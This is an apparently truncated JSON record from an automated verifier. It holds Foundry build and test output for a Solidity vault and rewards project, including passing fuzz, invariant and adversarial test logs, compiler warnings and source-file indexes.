Bound result 1\n  Bound result 253\n  Bound result 5365\n  Bound result 6156\n  Bound result 7037\n  Bound result 1\n  Bound result 134\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 3395723174\n  Bound result 140371492\n  Bound result 177362149\n  Bound result 53\n  Bound result 1\n  Bound result 1\n  Bound result 11042\n  Bound result 8391\n  Bound result 2954646857\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 12326227882998887060\n  Bound result 6604093946\n  Bound result 9413565550637084864\n  Bound result 5555\n  Bound result 1\n  Bound result 6272\n  Bound result 7537125859116\n  Bound result 11413\n  Bound result 4788\n  Bound result 11254\n  Bound result 2\n  Bound result 2177969494621489624\n  Bound result 1613\n  Bound result 1369178528\n  Bound result 2509993787976341916423768\n  Bound result 2108\n  Bound result 1\n  Bound result 2\n  Bound result 2021\n  Bound result 7473\n  Bound result 5495809544658364377\n  Bound result 512\n  Bound result 7165791065746842140650196\n  Bound result 280161368\n  Bound result 2509\n  Bound result 1\n  Bound result 535479\n  Bound result 21\n  Bound result 682520\n  Bound result 2\n  Bound result 887220\n  Bound result 7370\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.96s (4.95s CPU time)\n\nRan 18 test suites in 4.96s (13.99s CPU time): 98 tests passed, 0 failed, 1 skipped (99 total tests)\n","passed":true},{"durationMs":140,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.onLaunchFailure(bytes32,uint8,bytes32,uint16,uint16,bytes)\",\"SIMDVault.onLaunchResult(bytes32,bytes32,string)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":122,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":33,\"docs/VERIFICATION.md\":21,\"foundry.toml\":16,\"remappings.txt\":4,\"src/CompensationVault.sol\":249,\"src/HolderRewards.sol\":312,\"src/JobsVault.sol\":54,\"src/Network.sol\":17,\"src/SIMDVault.sol\":172,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":34,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/AdversarialLifecycle.t.sol\":429,\"test/CompensationFailures.t.sol\":209,\"test/CompensationPriceBand.t.sol\":234,\"test/CompensationStateful.t.sol\":247,\"test/CompensationVault.t.sol\":233,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":370,\"test/JobsStateful.t.sol\":195,\"test/JobsVault.t.sol\":151,\"test/MigrationClaims.t.sol\":149,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":264,\"test/SIMDVault.t.sol\":251,\"test/TESTING.md\":76,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":407,\"test/VaultInvariants.t.sol\":191,\"test/fixtures/MigrationClaims.sol\":331,\"test/fixtures/migration-evidence.json\":857,\"test/fixtures/migration-weights.json\":250,\"test/mocks/Mocks.sol\":294,\"tools/merkle.py\":145,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"84665641105bac7cf2a43cd61f200c1e369931fca15ecb73c379fb9b080eda5f","verifiedTreeHash":"7fe11e65b270d0ead8497b51e600f9c6a40e9d52","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":70197,"exitCode":0,"name":"build","output":"Compiling 119 files with Solc 0.8.26\nSolc 0.8.26 finished in 70.04s\nCompiler run successful!\n","passed":true},{"durationMs":5191,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 570.82µs (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 886.04µs (556.16µs CPU time)\n\nRan 5 tests for test/JobsVault.t.sol:JobsVaultTest\n[PASS] testExactThresholdAndPerWalletDailyBoundary() (gas: 1147243)\n[PASS] testInvalidBodyAndUnsoldActionRejected() (gas: 617940)\n[PASS] testNotConfiguredAndSetTokenOnlyVaultOnce() (gas: 338987)\n[PASS] testRejectedRequestsDontConsumeDailySlotAndReentryFails() (gas: 1177939)\n[PASS] testSixDecimalsThreshold() (gas: 1230516)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 29.79ms (1.62ms CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 28284650)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 67.21ms (67.05ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 286723)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2314006)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2044562)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 140420)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1716808)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1838386, ~: 1838865)\nLogs:\n  Bound result 880336962866384324752084477\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 908050)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2002853)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 551930)\n[PASS] testZeroOrSubTenWeiBudgetCompletesAfterWindowWithoutSwap() (gas: 201599)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 268.91ms (271.38ms CPU time)\n\nRan 8 tests for test/CompensationFailures.t.sol:CompensationFailuresTest\n[PASS] testAirdropTransferReentryCannotPayAnotherBatch() (gas: 2642068)\n[PASS] testFuzzDuplicateEntriesAndRepeatedBatchesNeverOverpay(uint96,bool) (runs: 1000, μ: 2197946, ~: 2200362)\nLogs:\n  Bound result 892409534280089\n\n[PASS] testFuzzProductionRootRejectsUnprovenClaims(address,uint128) (runs: 1000, μ: 509493, ~: 509427)\nLogs:\n  Bound result 5563259200155307529\n\n[PASS] testLaterTrancheRejectionRetainsOriginalBudgetAndCanRetryImmediately() (gas: 1078754)\n[PASS] testMalformedBatchCannotFreezeAirdropBalance() (gas: 2263458)\n[PASS] testOutputTransferRejectionDoesNotConsumeFirstBuyback() (gas: 1038253)\n[PASS] testSecondRecipientRejectionRevertsFirstPaymentAndAllFlags() (gas: 3244187)\n[PASS] testUnrepresentableV4DeltaRevertsBeforeAnyAssetMoves() (gas: 482520)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 268.87ms (522.64ms CPU time)\n\nRan 18 tests for test/HolderRewards.t.sol:HolderRewardsTest\n[PASS] testAggregateClaimsCannotExceedPot() (gas: 2933150)\n[PASS] testAnotherEpochAnswerCannotBePairedWithRequest() (gas: 3828996)\n[PASS] testClaimsRemainAvailableUntilRolloverAndTransferFailureIsAtomic() (gas: 3213549)\n[PASS] testDepositRequestsCanonicalBodyAtActualArbitrumDepositBlock() (gas: 3206835)\n[PASS] testEmptyRootCanRollOver() (gas: 2914059)\n[PASS] testExpiredFutureAndTamperedAttestationsRejected() (gas: 2819288)\n[PASS] testFuzzClaimsAndRolloverConserveFunds(uint128,uint128) (runs: 256, μ: 3071847, ~: 3069741)\nLogs:\n  Bound result 706873905\n  Bound result 2523380\n\n[PASS] testOnlyIntakeUnknownIdAndReplayRejected() (gas: 2797838)\n[PASS] testOnlyVaultCanSetTokenOrCreateEpochsOrSpendFromSelfCall() (gas: 144462)\n[PASS] testOversizedSignedTreeCannotDrainAnotherEpoch() (gas: 4038711)\n[PASS] testRetrySponsorPaysAndOldIdBecomesInvalid() (gas: 3961856)\n[PASS] testRolloverCarryCannotBeSpentByAnOversizedCurrentTree() (gas: 4101932)\n[PASS] testRolloverMovesExactlyUnclaimedAndNextDepositSnapshotsCarry() (gas: 6454998)\n[PASS] testSmallDepositNeverSpendsPreviousEpochReserve() (gas: 2793926)\n[PASS] testSnapshotEntitlementIndependentOfCurrentBalanceAndDoubleClaimFails() (gas: 3168211)\n[PASS] testUnansweredLatestEpochCanRollAndLateCallbackCannotReviveIt() (gas: 2841626)\n[PASS] testWrongChainBlockTypeAndWeakPanelRejected() (gas: 3013906)\n[PASS] testWrongLeafAndProofCannotClaim() (gas: 2837870)\nSuite result: ok. 18 passed; 0 failed; 0 skipped; finished in 274.63ms (292.80ms CPU time)\n\nRan 3 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4108774)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4099300)\n[PASS] testUninitializedPoolCannotBind() (gas: 229196)\nSuite result: ok. 3 passed; 0 failed; 0 skipped; finished in 274.78ms (5.04ms CPU time)\n\nRan 4 tests for test/MigrationClaims.t.sol:MigrationClaimsTest\n[PASS] testAll62HistoricalProofsReproduceTheProductionCommitment() (gas: 460174)\n[PASS] testAllRealBeneficiariesPaidAfterTenTranchesAcrossBatches() (gas: 7265634)\n[PASS] testCorruptedRealProofsSkipWithoutConsumingEligibility() (gas: 5741334)\n[PASS] testFuzzAll62PayoutsConserveSupplyRegardlessOfOrder(uint96,uint8) (runs: 1000, μ: 5406428, ~: 5574619)\nLogs:\n  Bound result 2654\n\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 274.86ms (278.54ms CPU time)\n\nRan 2 tests for test/AdversarialLifecycle.t.sol:AdversarialJobsTest\n[PASS] testFuzzDecimalsThresholdOneUnitBelowAndExactlyEnough(uint8) (runs: 1000, μ: 1317658, ~: 1317628)\nLogs:\n  Bound result 2\n\n[PASS] testHoldingIsRecheckedAfterCooldownAndFailureDoesNotExtendIt() (gas: 979103)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 278.73ms (278.16ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialLaunchAndDistributionTest\n[PASS] testBurnFailureRevertsClaimSplitEpochAndCooldownTogether() (gas: 6749228)\n[PASS] testFuzzUnauthorizedLaunchAndBindingLeaveAllStateUntouched(address,uint64) (runs: 1000, μ: 199110, ~: 199105)\n[PASS] testLateChildConfigurationFailureRollsBackEarlierChildrenAndCanRetry() (gas: 1308805)\n[PASS] testLaunchBodyBoundsDoNotConsumeOneTimePermission() (gas: 3017677)\n[PASS] testMaximumUintBalanceSplitsWithoutIntermediateOverflow() (gas: 3007312)\n[PASS] testRejectedNativeRecipientRollsBackAndImmediateRetrySucceeds() (gas: 5759755)\n[PASS] testRoundingDustParticipatesInFollowingWeek() (gas: 1014542)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 298.90ms (88.49ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialOracleLifecycleTest\n[PASS] testAttestationUUIDCannotSettleTwoEpochsEvenWithTwoValidSignatures() (gas: 4329803)\n[PASS] testClaimsRejectAbsentAndUnansweredEpochsWithoutMarkingClaimed() (gas: 2930425)\n[PASS] testDeferredEpochCanBeSponsoredWithoutTouchingOtherReserves() (gas: 4548312)\n[PASS] testFuzzSignedButInvalidOracleFieldsNeverConsumePending(uint8) (runs: 1000, μ: 2912548, ~: 2911625)\nLogs:\n  Bound result 1\n\n[PASS] testOutOfOrderRolloversAndCarryOnlyEpochsPreserveEveryUnclaimedWei() (gas: 7824837)\n[PASS] testRetryFailurePreservesOriginalRequestAndSponsorFunds() (gas: 3865871)\n[PASS] testRetryUsesNewPriceButPreservesDepositBlockBudgetAndQuestion() (gas: 4086330)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 298.93ms (322.11ms CPU time)\n\nRan 9 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] testBindOnlyDevOnceAndValidatesRequesterTokenAndPool() (gas: 874493)\n[PASS] testFuzzSplitConservesFundsAndDust(uint128) (runs: 256, μ: 1680333, ~: 758609)\n[PASS] testGasExhaustingFactoryAndOracleDoNotPreventSplitAndBurn() (gas: 4822647)\n[PASS] testLaunchOnlyDevOnlyOnceExactApprovalVaultPayer() (gas: 464445)\n[PASS] testNoAdminOrRequesterTransferOrArbitraryWithdrawal() (gas: 125849)\n[PASS] testReentrantFactoryAndIMDTransfersCannotDoubleDistribute() (gas: 3047989)\n[PASS] testRejectedClaimAndOracleCannotBlockDistributionOrBurn() (gas: 1641024)\n[PASS] testRejectedLaunchCanRetryAndUnsoldCannotLaunch() (gas: 739922)\n[PASS] testSplitBurnFactoryNativePayoutAndWeekBoundary() (gas: 3481311)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 299.02ms (229.65ms CPU time)\n\nRan 1 test for test/JobsStateful.t.sol:JobsStatefulTest\n[PASS] invariantJobBudgetPaysOnlySuccessfulEligibleRequests() (runs: 256, calls: 16384, reverts: 0)\n\n╭------------------+-----------------------+-------+---------+----------╮\n| Contract         | Selector              | Calls | Reverts | Discards |\n+=======================================================================+\n| JobBudgetHandler | advance               | 3245  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | fund                  | 3261  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | request               | 3278  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | setIntakeAvailability | 3314  | 0       | 0        |\n|------------------+-----------------------+-------+---------+----------|\n| JobBudgetHandler | transferHolding       | 3286  | 0       | 0        |\n╰------------------+-----------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 5000000000000000000\n  Bound result 4664\n  Bound result 27794\n  Bound result 155\n  Bound result 11956\n  Bound result 6845\n  Bound result 58\n  Bound result 3414978228\n  Bound result 2069\n  Bound result 1800001801\n  Bound result 3541\n  Bound result 6\n  Bound result 10095\n  Bound result 28\n  Bound result 4819\n  Bound result 61\n  Bound result 5083\n  Bound result 6281281145556238957\n  Bound result 8982\n  Bound result 599290589\n  Bound result 8458\n  Bound result 1490\n  Bound result 3\n  Bound result 15\n  Bound result 666\n  Bound result 2559896971204282100\n  Bound result 3124842406\n  Bound result 11398\n  Bound result 108384\n  Bound result 136063138127\n  Bound result 162514264585168558092903\n  Bound result 7906\n  Bound result 2473\n  Bound result 9695\n  Bound result 696631796568346580681964\n  Bound result 703\n  Bound result 198\n  Bound result 1159131696695686693\n  Bound result 12219\n  Bound result 2630\n  Bound result 2827\n  Bound result 6193\n  Bound result 477\n  Bound result 2228\n  Bound result 45\n  Bound result 816556948285906101\n  Bound result 13815\n  Bound result 171238\n  Bound result 108384\n  Bound result 2230\n  Bound result 1914\n  Bound result 71\n  Bound result 14072\n  Bound result 7526417\n  Bound result 2349\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.38s (2.38s CPU time)\n\nRan 1 test for test/CompensationStateful.t.sol:CompensationStatefulTest\n[PASS] invariantBuybackAndAirdropConserveBothAssets() (runs: 256, calls: 16384, reverts: 0)\n\n╭-----------------------------+------------+-------+---------+----------╮\n| Contract                    | Selector   | Calls | Reverts | Discards |\n+=======================================================================+\n| CompensationSequenceHandler | advance    | 3251  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | airdrop    | 3252  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | buyback    | 3314  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundIMD    | 3218  | 0       | 0        |\n|-----------------------------+------------+-------+---------+----------|\n| CompensationSequenceHandler | fundTokens | 3349  | 0       | 0        |\n╰-----------------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 1000000000000000000000\n  Bound result 500000000000000000000\n  Bound result 10012\n  Bound result 5130\n  Bound result 999999\n  Bound result 2383\n  Bound result 71\n  Bound result 96\n  Bound result 2428\n  Bound result 1611\n  Bound result 4160631928\n  Bound result 2288\n  Bound result 53\n  Bound result 12\n  Bound result 29395908909429362\n  Bound result 8\n  Bound result 67\n  Bound result 11\n  Bound result 148\n  Bound result 868\n  Bound result 1252\n  Bound result 2065\n  Bound result 1557\n  Bound result 4\n  Bound result 162514264337593543871105\n  Bound result 3983517\n  Bound result 743848210655127415586764\n  Bound result 405\n  Bound result 2177\n  Bound result 509993787976341916416846\n  Bound result 91\n  Bound result 645178533181222335471743\n  Bound result 8223\n  Bound result 253\n  Bound result 1276\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.10s (3.10s CPU time)\n\nRan 1 test for test/VaultInvariants.t.sol:VaultInvariantsTest\n[PASS]\nVaultInvariantsTest invariants:\n[PASS] invariantAllIMDRemainsAtAuthorizedDestinations\n[PASS] invariantBuybackNeverExceedsFrozenBudgetOrTenTranches\n[PASS] invariantEpochAccountingIsFullyBacked\n[PASS] invariantNativeAndLaunchTokensRemainAtAuthorizedDestinations\n VaultInvariantsTest invariants (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------+---------------------+-------+---------+----------╮\n| Contract     | Selector            | Calls | Reverts | Discards |\n+=================================================================+\n| VaultHandler | advance             | 2021  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | attemptDistribution | 2038  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | buyback             | 2055  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | distribute          | 2054  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | receiveFees         | 2047  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | requestJob          | 2080  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | rollover            | 1999  | 0       | 0        |\n|--------------+---------------------+-------+---------+----------|\n| VaultHandler | settleAndClaim      | 2090  | 0       | 0        |\n╰--------------+---------------------+-------+---------+----------╯\n\nLogs:\n  Bound result 535482\n  Bound result 2432\n  Bound result 12737\n  Bound result 12801\n  Bound result 539291370\n  Bound result 49152\n  Bound result 1\n  Bound result 1\n  Bound result 11372\n  Bound result 1700\n  Bound result 1305\n  Bound result 47\n  Bound result 1\n  Bound result 1\n  Bound result 253\n  Bound result 5459\n  Bound result 6207\n  Bound result 6305\n  Bound result 1\n  Bound result 1117\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 9834\n  Bound result 594\n  Bound result 1293\n  Bound result 55\n  Bound result 1\n  Bound result 1\n  Bound result 9377\n  Bound result 11593\n  Bound result 4158\n  Bound result 1\n  Bound result 1\n  Bound result 1\n  Bound result 12326227882998887060\n  Bound result 6604093946\n  Bound result 9413565550637084864\n  Bound result 4428\n  Bound result 9531798553981606340591605\n  Bound result 3629143568\n  Bound result 7537125859116\n  Bound result 11898\n  Bound result 4105\n  Bound result 50404824\n  Bound result 2\n  Bound result 804741947711338613\n  Bound result 71\n  Bound result 3492\n  Bound result 869\n  Bound result 4208\n  Bound result 1\n  Bound result 2\n  Bound result 811561654\n  Bound result 177362149\n  Bound result 5175316212050064563\n  Bound result 2505600\n  Bound result 517440283\n  Bound result 5239\n  Bound result 2545\n  Bound result 1\n  Bound result 535479\n  Bound result 21\n  Bound result 682520\n  Bound result 2\n  Bound result 9999999999999999999999901\n  Bound result 11529\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.08s (5.08s CPU time)\n\nRan 16 test suites in 5.08s (13.20s CPU time): 81 tests passed, 0 failed, 1 skipped (82 total tests)\n","passed":true},{"durationMs":66,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"CompensationVault.airdrop(address[],uint256[],bytes32[][])\",\"CompensationVault.buyback()\",\"CompensationVault.setLaunch(address,(address,address,uint24,int24,address))\",\"CompensationVault.unlockCallback(bytes)\",\"HolderRewards.claim(uint256,uint256,bytes32[])\",\"HolderRewards.onDeposit(uint256)\",\"HolderRewards.onOracleResult(bytes32,(bytes32,uint256,bytes32,uint8,bytes,uint256,uint64,uint64,bytes32,bytes32,uint16,uint16,uint16,uint64,uint64),bytes)\",\"HolderRewards.requestDepositedEpoch(uint256,uint256)\",\"HolderRewards.retryOracle(uint256)\",\"HolderRewards.rollover(uint256)\",\"HolderRewards.setToken(address)\",\"JobsVault.requestJob(bytes)\",\"JobsVault.setToken(address)\",\"SIMDVault.bindLaunch(uint64,address)\",\"SIMDVault.distribute()\",\"SIMDVault.launch(bytes)\",\"SIMDVault.receive()\"],\"files\":{\".gitignore\":6,\"README.md\":113,\"docs/DEPENDENCIES.md\":15,\"docs/REVIEW.md\":31,\"docs/VERIFICATION.md\":20,\"foundry.toml\":16,\"remappings.txt\":4,\"src/CompensationVault.sol\":187,\"src/HolderRewards.sol\":307,\"src/JobsVault.sol\":48,\"src/Network.sol\":17,\"src/SIMDVault.sol\":128,\"src/VaultChild.sol\":33,\"src/interfaces/IIntake.sol\":17,\"src/interfaces/ILaunchFactory.sol\":12,\"src/oracle/OracleAttestation.sol\":239,\"src/oracle/OracleQuestion.sol\":258,\"test/AdversarialLifecycle.t.sol\":412,\"test/CompensationFailures.t.sol\":208,\"test/CompensationStateful.t.sol\":247,\"test/CompensationVault.t.sol\":217,\"test/Deployment.t.sol\":52,\"test/HolderRewards.t.sol\":324,\"test/JobsStateful.t.sol\":141,\"test/JobsVault.t.sol\":101,\"test/MigrationClaims.t.sol\":149,\"test/OracleConformance.t.sol\":96,\"test/RobinhoodFork.t.sol\":261,\"test/SIMDVault.t.sol\":185,\"test/TESTING.md\":63,\"test/TestBase.sol\":131,\"test/UniswapV4Integration.t.sol\":97,\"test/VaultInvariants.t.sol\":191,\"test/fixtures/MigrationClaims.sol\":331,\"test/fixtures/migration-evidence.json\":857,\"test/fixtures/migration-weights.json\":250,\"test/mocks/Mocks.sol\":258,\"tools/merkle.py\":123,\"tools/test_merkle.py\":36},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"a88f3ae1166e706dd80a4906686bf79095b8e844dead8917443d32e64e3d76ee","verifiedTreeHash":"45dc6dce349ecb73f632af76839274c82f2982a9","verifierVersion":"0.1.0+560ab6a2"},{"checks":[{"durationMs":78243,"exitCode":0,"name":"build","output":"Compiling 120 files with Solc 0.8.26\nSolc 0.8.26 finished in 78.14s\nCompiler run successful with warnings:\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:132:10:\n    |\n132 |         (uint256 paid,) = abi.decode(result, (uint256, uint256));\n    |          ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\nWarning (2519): This declaration shadows an existing declaration.\n   --> src/CompensationVault.sol:182:9:\n    |\n182 |         uint256 paid = uint256(-int256(inputDelta));\n    |         ^^^^^^^^^^^^\nNote: The shadowed declaration is here:\n  --> src/CompensationVault.sol:56:5:\n   |\n56 |     mapping(address => bool) public paid;\n   |     ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n","passed":true},{"durationMs":5177,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFork.t.sol:RobinhoodForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 560.86µs (0.00ns CPU time)\n\nRan 4 tests for test/OracleConformance.t.sol:OracleConformanceTest\n[PASS] testCallbackSelectorMatchesCanonicalFifteenFieldTuple() (gas: 3673)\n[PASS] testDigestMatchesPublishedProtocolVector() (gas: 13253)\n[PASS] testPublishedProtocolSignatureVerifiesInActualConsumerBase() (gas: 75505)\n[PASS] testQuestionHashMatchesPublishedProtocolVector() (gas: 40115)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 800.02µs (533.69µs CPU time)\n\nRan 5 tests for test/UniswapV4Integration.t.sol:UniswapV4IntegrationTest\n[PASS] testRealV4PushedPriceMovesReferenceOneStepPerIntervalAndFillsNothing() (gas: 4396016)\n[PASS] testRealV4ThinPoolTranchesStayInsidePriceBandAndBuybackEnds() (gas: 3184326)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyOne() (gas: 4315349)\n[PASS] testRealV4UnlockSettlementTenSwapsTokenAsCurrencyZero() (gas: 4305860)\n[PASS] testUninitializedPoolCannotBind() (gas: 229526)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 8.85ms (22.07ms CPU time)\n\nRan 1 test for test/Deployment.t.sol:DeploymentTest\n[PASS] testFactoryCreate2DeploymentOnEmptyChainLinksAllChildrenAndHasNoOwners() (gas: 29832334)\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 63.29ms (63.16ms CPU time)\n\nRan 5 tests for test/CompensationPriceBand.t.sol:CompensationPriceBandTest\n[PASS] testFuzzAnyFrontRunNeverPushesTrancheOutsideEarlierBand(uint96,bool) (runs: 200, μ: 550170, ~: 531205)\nLogs:\n  Bound result 15\n\n[PASS] testLargePushWalksReferenceOneStepPerInterval() (gas: 845468)\n[PASS] testPricePushedInSameTransactionOnlyRecordsReferenceAndSpendsNothing() (gas: 452393)\n[PASS] testReferenceIsRecordedAtBindingAndBandIsSymmetric() (gas: 28895)\n[PASS] testTrancheAfterReRecordTradesOnlyInsideNewBand() (gas: 594420)\nSuite result: ok. 5 passed; 0 failed; 0 skipped; finished in 88.89ms (87.63ms CPU time)\n\nRan 2 tests for test/AdversarialLifecycle.t.sol:AdversarialJobsTest\n[PASS] testFuzzDecimalsThresholdOneUnitBelowAndExactlyEnough(uint8) (runs: 1000, μ: 1322152, ~: 1322120)\nLogs:\n  Bound result 36\n\n[PASS] testHoldingIsRecheckedAfterCooldownAndFailureDoesNotExtendIt() (gas: 1034851)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 274.17ms (273.38ms CPU time)\n\nRan 10 tests for test/CompensationVault.t.sol:CompensationVaultTest\n[PASS] testAirdropBlockedBeforeBuybackAndBadProductionProofSkips() (gas: 285160)\n[PASS] testAirdropPaysListedAccountsOnceProRataUsingFixedBalance() (gas: 2526163)\n[PASS] testEmptyBalanceDoesNotConsumeEligibilityAndBadWeightsSkip() (gas: 2256443)\n[PASS] testFixedCommitmentAndNoMutationOrWithdrawEntrypoints() (gas: 141099)\n[PASS] testFrozenBudgetIgnoresDonationsAndLeavesOnlyOriginalRoundingDust() (gas: 1848572)\n[PASS] testFuzzTranchesNeverExceedTenPercent(uint96) (runs: 256, μ: 1969716, ~: 1970365)\nLogs:\n  Bound result 1531\n\n[PASS] testPartialOrRevertedSwapRollsBackBudgetAndCooldown() (gas: 721352)\n[PASS] testThirtyMinuteBoundaryTenPercentAndTenMinuteSpacing() (gas: 2136418)\n[PASS] testUnlockCallbackAuthenticatedAndReentryCannotSpendTwice() (gas: 565502)\n[PASS] testZeroOrSubTenWeiBudgetWaitsForFeeThenCompletesAfterWindow() (gas: 241149)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 311.71ms (318.62ms CPU time)\n\nRan 7 tests for test/AdversarialLifecycle.t.sol:AdversarialLaunchAndDistributionTest\n[PASS] testBurnFailureRevertsClaimSplitEpochAndCooldownTogether() (gas: 6804164)\n[PASS] testFuzzUnauthorizedLaunchAndBindingLeaveAllStateUntouched(address,uint64) (runs: 1000, μ: 199530, ~: 199525)\n[PASS] testLateChildConfigurationFailureRollsBackEarlierChildrenAndCanRetry() (gas: 1354783)\n[PASS] testLaunchBodyBoundsDoNotConsumeOneTimePermission() (gas: 3102806)\n[PASS] testMaximumUintBalanceSplitsWithoutIntermediateOverflow() (gas: 3057560)\n[PASS] testRejectedNativeRecipientKeepsEthUntilAcceptingWeek() (gas: 3406444)\n[PASS] testRoundingDustParticipatesInFollowingWeek() (gas: 1060458)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 311.80ms (78.64ms CPU time)\n\nRan 12 tests for test/SIMDVault.t.sol:SIMDVaultTest\n[PASS] 